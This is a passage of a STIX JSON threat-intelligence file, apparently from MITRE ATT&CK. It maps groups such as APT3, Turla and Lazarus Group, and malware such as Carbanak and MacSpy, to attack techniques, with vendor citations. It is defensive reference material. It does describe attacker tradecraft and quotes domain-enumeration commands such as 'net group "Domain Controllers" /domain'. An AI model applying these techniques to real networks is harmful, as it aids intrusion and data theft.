                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d",
            "relationship_type": "uses",
            "target_ref": "malware--9e9b9415-a7df-406b-b14d-92bfe6809fbe",
            "external_references": [
                {
                    "url": "http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates",
                    "description": "DiMaggio, J.. (2016, March 15). Suckfly: Revealing the secret life of your code signing certificates. Retrieved August 3, 2016.",
                    "source_name": "Symantec Suckfly March 2016"
                },
                {
                    "url": "http://www.symantec.com/connect/blogs/indian-organizations-targeted-suckfly-attacks",
                    "description": "DiMaggio, J.. (2016, May 17). Indian organizations targeted in Suckfly attacks. Retrieved August 3, 2016.",
                    "source_name": "Symantec Suckfly May 2016"
                }
            ],
            "description": "(Citation: Symantec Suckfly March 2016)(Citation: Symantec Suckfly May 2016)",
            "type": "relationship",
            "modified": "2019-03-25T16:59:47.296Z",
            "created": "2017-05-31T21:33:27.075Z"
        },
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            "description": "[APT3](https://attack.mitre.org/groups/G0022) has used PowerShell on victim systems to download and run payloads after exploitation.(Citation: FireEye Operation Double Tap)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html",
                    "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.",
                    "source_name": "FireEye Operation Double Tap"
                }
            ],
            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "type": "relationship",
            "modified": "2019-04-29T18:01:20.450Z",
            "created": "2017-05-31T21:33:27.056Z"
        },
        {
            "id": "relationship--7e860d9b-29fd-4acf-b624-076a0c60b9df",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) gathers information on the IP forwarding table, MAC address, configured proxy, and network SSID.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/",
                    "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.",
                    "source_name": "ESET InvisiMole June 2018"
                },
                {
                    "source_name": "ESET InvisiMole June 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
                }
            ],
            "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2020-08-17T14:37:43.896Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--9b1709f3-5062-42f1-82d9-191e66e1d14a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Nidiran](https://attack.mitre.org/software/S0118) can create a new service named msamger (Microsoft Security Accounts Manager), which mimics the legitimate Microsoft database by the same name.(Citation: Symantec Backdoor.Nidiran)(Citation: Microsoft SAM)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Backdoor.Nidiran",
                    "description": "Sponchioni, R.. (2016, March 11). Backdoor.Nidiran. Retrieved August 3, 2016.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2015-120123-5521-99"
                },
                {
                    "source_name": "Microsoft SAM",
                    "description": "Microsoft. (2006, October 30). How to use the SysKey utility to secure the Windows Security Accounts Manager database. Retrieved August 3, 2016.",
                    "url": "https://support.microsoft.com/en-us/kb/310105"
                }
            ],
            "source_ref": "malware--9e9b9415-a7df-406b-b14d-92bfe6809fbe",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c",
            "type": "relationship",
            "modified": "2020-03-18T15:21:51.796Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--c3a1969b-1edb-4a78-80ab-b122cc2822e4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Group5](https://attack.mitre.org/groups/G0043) disguised its malicious binaries with several layers of obfuscation, including encrypting the files.(Citation: Citizen Lab Group5)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Citizen Lab Group5",
                    "description": "Scott-Railton, J., et al. (2016, August 2). Group5: Syria and the Iranian Connection. Retrieved September 26, 2016.",
                    "url": "https://citizenlab.ca/2016/08/group5-syria/"
                }
            ],
            "source_ref": "intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2019-07-25T17:52:06.574Z",
            "created": "2017-05-31T21:33:27.078Z"
        },
        {
            "id": "relationship--86f8bebc-a5fc-43d7-9af0-0024e07ca8d1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT37](https://attack.mitre.org/groups/G0067) injects its malware variant, [ROKRAT](https://attack.mitre.org/software/S0240), into the cmd.exe process.(Citation: Talos Group123)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html",
                    "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.",
                    "source_name": "Talos Group123"
                }
            ],
            "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
            "type": "relationship",
            "modified": "2019-09-09T19:12:32.643Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--9c12e724-5f3e-4209-961e-481ec22a5ab6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Carbanak](https://attack.mitre.org/software/S0030) stores a configuration files in the startup directory to automatically execute commands in order to persist across reboots.(Citation: FireEye CARBANAK June 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye CARBANAK June 2017",
                    "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html"
                }
            ],
            "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-03-16T15:31:23.864Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--f25505f6-dbd0-4d7b-8e8c-b3885f206cbf",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Koadic](https://attack.mitre.org/software/S0250) can scan local network for open SMB.(Citation: Github Koadic)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Github Koadic",
                    "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.",
                    "url": "https://github.com/zerosum0x0/koadic"
                }
            ],
            "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f",
            "type": "relationship",
            "modified": "2020-03-16T16:55:04.386Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--e93c8f61-b2c9-4877-8c2c-12bd37aa5a87",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can retrieve screenshots from compromised hosts.(Citation: FireEye MuddyWater Mar 2018)(Citation: TrendMicro POWERSTATS V3 June 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html",
                    "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.",
                    "source_name": "FireEye MuddyWater Mar 2018"
                },
                {
                    "source_name": "TrendMicro POWERSTATS V3 June 2019",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/",
                    "description": "Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020."
                }
            ],
            "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2020-05-18T19:37:52.430Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--5550ef5e-a34c-4055-b7be-dd41d76ef7b1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Kwampirs](https://attack.mitre.org/software/S0236) downloads additional files that are base64-encoded and encrypted with another cipher.(Citation: Symantec Security Center Trojan.Kwampirs)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.symantec.com/security-center/writeup/2016-081923-2700-99",
                    "description": "Moench, B. and Aboud, E. (2016, August 23). Trojan.Kwampirs. Retrieved May 10, 2018.",
                    "source_name": "Symantec Security Center Trojan.Kwampirs"
                }
            ],
            "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-03-18T20:10:20.887Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--d4968f45-d06b-4843-8f72-6e08beb94cab",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
            "relationship_type": "uses",
            "target_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974",
            "external_references": [
                {
                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf",
                    "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.",
                    "source_name": "Symantec Dragonfly"
                }
            ],
            "description": "(Citation: Symantec Dragonfly)",
            "type": "relationship",
            "modified": "2019-03-22T20:11:04.791Z",
            "created": "2017-05-31T21:33:27.070Z"
        },
        {
            "id": "relationship--5a2b7013-a110-4a07-acf6-66a7f159954d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MacSpy](https://attack.mitre.org/software/S0282) can steal clipboard contents.(Citation: objsee mac malware 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "objsee mac malware 2017",
                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
                    "url": "https://objective-see.com/blog/blog_0x25.html"
                }
            ],
            "source_ref": "malware--f72251cb-2be5-421f-a081-99c29a1209e7",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f",
            "type": "relationship",
            "modified": "2020-01-17T19:50:53.329Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--b8a1739d-240b-46c1-a25a-b82d1c4e4765",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover remote systems on a local network using the <code>net view</code> and <code>net view /DOMAIN</code> commands. [Turla](https://attack.mitre.org/groups/G0010) has also used <code>net group \"Domain Computers\" /domain</code>, <code>net group \"Domain Controllers\" /domain</code>, and <code>net group \"Exchange Servers\" /domain</code> to enumerate domain computers, including the organization's DC and Exchange Server.(Citation: Kaspersky Turla)(Citation: ESET ComRAT May 2020)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/the-epic-turla-operation/65545/",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
                    "source_name": "Kaspersky Turla"
                },
                {
                    "source_name": "ESET ComRAT May 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf",
                    "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."
                }
            ],
            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735",
            "type": "relationship",
            "modified": "2020-06-29T02:52:31.794Z",
            "created": "2017-05-31T21:33:27.045Z"
        },
        {
            "id": "relationship--228e71e2-0e76-4020-a850-7a568412259b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Comnie](https://attack.mitre.org/software/S0244) executes a batch script to store discovery information in %TEMP%\\info.dat and then uploads the temporarily file to the remote C2 server.(Citation: Palo Alto Comnie)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Comnie",
                    "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/"
                }
            ],
            "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619",
            "type": "relationship",
            "modified": "2020-03-17T00:43:31.998Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--093215eb-4edb-4c55-bb5f-b8ca2de7962c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SHIPSHAPE](https://attack.mitre.org/software/S0028) achieves persistence by creating a shortcut in the Startup folder.(Citation: FireEye APT30)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT30",
                    "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.",
                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "malware--b1de6916-7a22-4460-8d26-6b5483ffaa2a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279"
        },
        {
            "id": "relationship--fce7fac2-91da-4903-95dc-fb54650c0859",
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            "description": "[PHOREAL](https://attack.mitre.org/software/S0158) communicates via ICMP for C2.(Citation: FireEye APT32 May 2017)",
            "object_marking_refs": [
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            ],
            "external_references": [
                {
                    "source_name": "FireEye APT32 May 2017",
                    "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"
                }
            ],
            "source_ref": "malware--f6ae7a52-f3b6-4525-9daf-640c083f006e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b",
            "type": "relationship",
            "modified": "2020-03-19T19:56:10.635Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--ad5f49b0-8b92-43d1-99f3-c691ccb7a8ac",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[DustySky](https://attack.mitre.org/software/S0062) searches for network drives and removable media and duplicates itself onto them.(Citation: DustySky)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "DustySky",
                    "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016."
                }
            ],
            "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5",
            "type": "relationship",
            "modified": "2020-05-14T15:14:33.559Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--d6e43621-ca4a-475f-b81c-037a0878728b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Patchwork](https://attack.mitre.org/groups/G0040) used [PowerSploit](https://attack.mitre.org/software/S0194) to download payloads, run a reverse shell, and execute malware on the victim's machine.(Citation: Cymmetria Patchwork)(Citation: TrendMicro Patchwork Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cymmetria Patchwork",
                    "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.",
                    "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf"
                },
                {
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "source_name": "TrendMicro Patchwork Dec 2017"
                }
            ],
            "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "type": "relationship",
            "modified": "2019-07-11T13:53:05.885Z",
            "created": "2017-05-31T21:33:27.075Z"
        },
        {
            "id": "relationship--5ff5c840-7064-4d5d-bfbc-0287efd4dd39",
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7",
            "type": "relationship",
            "modified": "2020-06-20T20:42:37.432Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--d1adaa26-90e3-4a7f-af07-577b3003be4c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) has performed screen captures of victims, including by using a tool, scr.exe (which matched the hash of ScreenUtil).(Citation: US-CERT TA18-074A)(Citation: Symantec Dragonfly Sept 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                },
                {
                    "source_name": "Symantec Dragonfly Sept 2017",
                    "description": "Symantec Security Response. (2017, September 6). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017.",
                    "url": "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group"
                }
            ],
            "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2019-03-22T20:13:49.518Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--bdd223c2-8d3a-4c99-b261-402b7daaace5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--7a6e5ca3-562f-4185-a323-f3b62b5b2e6b",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--6e6845c2-347a-4a6f-a2d1-b74a18ebd352",
            "type": "relationship",
            "modified": "2020-01-24T18:50:29.188Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--95805281-96b1-49ea-95ee-9d654178c5c3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) typically use <code>ping</code> and [Net](https://attack.mitre.org/software/S0039) to enumerate systems.(Citation: Secureworks BRONZE BUTLER Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses",
                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
                    "source_name": "Secureworks BRONZE BUTLER Oct 2017"
                }
            ],
            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735",
            "type": "relationship",
            "modified": "2019-03-22T19:57:37.261Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--25e301f8-0bb7-4769-94be-ac96b2319c85",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c",
            "relationship_type": "uses",
            "target_ref": "malware--414dc555-c79e-4b24-a2da-9b607f7eaf16",
            "external_references": [
                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                }
            ],
            "description": "(Citation: FireEye APT37 Feb 2018)",
            "type": "relationship",
            "modified": "2019-09-09T19:12:32.911Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--3fe9b64a-6435-4592-9181-2ad50ee93044",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware IndiaIndia saves information gathered about the victim to a file that is uploaded to one of its 10 C2 servers. [Lazarus Group](https://attack.mitre.org/groups/G0032) malware RomeoDelta copies specified directories from the victim's machine, then archives and encrypts the directories before uploading to its C2 server.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Loaders)(Citation: Novetta Blockbuster RATs) [Lazarus Group](https://attack.mitre.org/groups/G0032) has used wevtutil to export Window security event logs.(Citation: F-Secure Lazarus Cryptocurrency Aug 2020) ",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "source_name": "Novetta Blockbuster"
                },
                {
                    "source_name": "Novetta Blockbuster Loaders",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.",
                    "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf"
                },
                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.",
                    "source_name": "Novetta Blockbuster RATs"
                },
                {
                    "source_name": "F-Secure Lazarus Cryptocurrency Aug 2020",
                    "url": "https://labs.f-secure.com/assets/BlogFiles/f-secureLABS-tlp-white-lazarus-threat-intel-report2.pdf",
                    "description": "F-Secure Labs. (2020, August 18). Lazarus Group Campaign Targeting the Cryptocurrency Vertical. Retrieved September 1, 2020."
                }
            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "type": "relationship",
            "modified": "2020-10-02T16:21:22.322Z",
            "created": "2017-05-31T21:33:27.069Z"
        },
        {
            "id": "relationship--55f58d30-b633-4094-97bb-6ab872c0f480",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "relationship_type": "uses",
            "target_ref": "malware--9ca488bd-9587-48ef-b923-1743523e63b2",
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html",
                    "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
                    "source_name": "FireEye APT32 May 2017"
                }
            ],
            "description": "(Citation: FireEye APT32 May 2017)",
            "type": "relationship",
            "modified": "2019-07-17T13:11:38.975Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--0040fdbd-ec7e-49b3-b715-c8c91e08666b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Variants of [Emissary](https://attack.mitre.org/software/S0082) have added Run Registry keys to establish persistence.(Citation: Emissary Trojan Feb 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Emissary Trojan Feb 2016",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/"
                }
            ],
            "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-03-16T15:50:20.029Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--11f12767-22ca-4f4a-a911-8211dc8ac478",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MacSpy](https://attack.mitre.org/software/S0282) uses HTTP for command and control.(Citation: objsee mac malware 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "objsee mac malware 2017",
                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
                    "url": "https://objective-see.com/blog/blog_0x25.html"
                }
            ],
            "source_ref": "malware--f72251cb-2be5-421f-a081-99c29a1209e7",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T01:47:07.419Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--a8d7e4da-53d8-45c2-8c87-70424d96a949",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
